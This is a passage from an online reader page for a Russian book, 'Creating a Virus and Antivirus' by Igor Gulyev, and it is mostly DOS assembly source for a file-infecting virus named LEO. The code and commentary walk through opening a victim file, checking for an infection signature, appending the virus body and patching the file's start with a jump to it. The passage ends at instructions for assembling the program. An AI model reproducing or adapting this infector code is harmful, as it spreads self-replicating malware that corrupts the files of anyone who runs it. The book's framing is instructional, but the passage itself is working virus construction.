Создаем вирус и антивирус. Игорь Гульев

Чтение книги онлайн.

Читать онлайн книгу Создаем вирус и антивирус - Игорь Гульев страница 2

Создаем вирус и антивирус - Игорь Гульев

Скачать книгу

к чтению, иначе выходим из вируса

      jnc See_Him

      jmp exit

      ;Читаем первый байт файла

      See_Him:

      xchg bx,ax

      mov ah,3Fh

      mov dx,offset buf–offset myself

      add dx,bp

      xor cx,cx ;CX=0

      inc cx ;(увеличение на 1) CX=1

      int 21h

      ;Сравниваем. Если первый байт файла

      ;не E9h, то переходим к поиску следующего

      ;файла – этот для заражения не подходит

      cmp byte ptr [bp+(offset buf–offset myself)],0E9h

      jne find_next

      Перед заражением файла вирус проверяет сигнатуру – не исключено, что файл уже заражен:

      ;Переходим в конец файла (на последний байт)

      mov ax,4200h

      xor cx,cx

      mov dx,[bp+(offset flen−offset MySelf)]

      dec dx

      int 21h

      ;Читаем сигнатуру вируса

      Read:

      mov ah,3Fh

      xor cx,cx

      inc cx

      mov dx,offset bytik–offset myself

      add dx,bp

      int 21h

      ;Если при чтении файла ошибок не произошло,

      ;проверяем сигнатуру,

      ;иначе ищем следующий файл

      jnc test_bytik

      jmp find_next

      ;Проверяем сигнатуру

      Test_bytik:

      cmp byte ptr [bp+(offset bytik−offset myself)],CheckByte

      ;Если сигнатура есть, то ищем другой файл,

      ;если ее нет – будем заражать

      je find_next2

      jmp Not_infected

      Затем, в соответствии с предложенной схемой, вирус дописывается в конец файла-жертвы и устанавливает адрес перехода на самого себя:

      ;Переходим в конец файла

      mov ax,4202h

      xor cx,cx

      xor dx,dx

      int 21h

      ;Устанавливаем регистр DS на сегмент кода

      push cs

      pop ds

      ;Копируем вирус в файл

      mov ah,40h

      mov cx,offset VirEnd–offset la

      mov dx,bp

      sub dx,offset myself−offset la

      int 21h

      ;Записываем в начало файла переход на тело вируса

      Write_Jmp:

      ;Переходим в начало файла

      xor cx,cx

      xor dx,dx

      mov ax,4200h

      int 21h

      ;Записываем первые три байта файла (переход на тело вируса)

      mov ah,40h

      mov cx,3

      mov dx,offset jmpvir–offset myself

      add dx,bp

      int 21h

      После того, как вирус закончит свою работу, он восстанавливает в исходное состояние первые три байта программы (в памяти компьютера) и передает управление на начало программы. Далее, при запуске зараженного файла, управление сначала получает вирус, затем – исходная программа. Благодаря такой схеме работы рассматриваемый вирус может спокойно существовать, будучи один раз выпущенным на волю.

      Как запустить вирус? В любом текстовом редакторе создается файл LEO.ASM, содержащий исходный текст вируса, затем этот файл компилируется и компонуется готовая программа. Например, в системе программирования Turbo Assembler последние два этапа выполняются такими

Скачать книгу